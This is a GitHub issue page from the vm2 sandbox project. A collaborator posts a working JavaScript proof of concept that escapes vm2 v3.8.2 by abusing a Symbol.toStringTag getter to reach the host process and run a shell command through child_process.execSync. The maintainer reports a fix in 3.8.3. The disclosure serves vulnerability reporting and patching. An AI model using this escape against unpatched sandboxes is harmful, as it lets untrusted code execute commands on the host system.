Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Breakout in v3.8.2 #224

Closed
XmiliaH opened this issue Jul 30, 2019 · 1 comment
Closed

Breakout in v3.8.2 #224

XmiliaH opened this issue Jul 30, 2019 · 1 comment

Comments

@XmiliaH
Copy link
Collaborator

XmiliaH commented Jul 30, 2019

Looked again at the code and found that

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
	Symbol = {
		get toStringTag(){
			throw f=>f.constructor("return process")()
		}
	};
	try{
		Buffer.from(new Map());
	}catch(f){
		Symbol = {};
		return f(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
	}
}+')()';
try{
	console.log(new VM().run(untrusted));
}catch(x){
	console.log(x);
}

will break out of the vm.

@patriksimek
Copy link
Owner

Thanks, fixed in 3.8.3.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

2 participants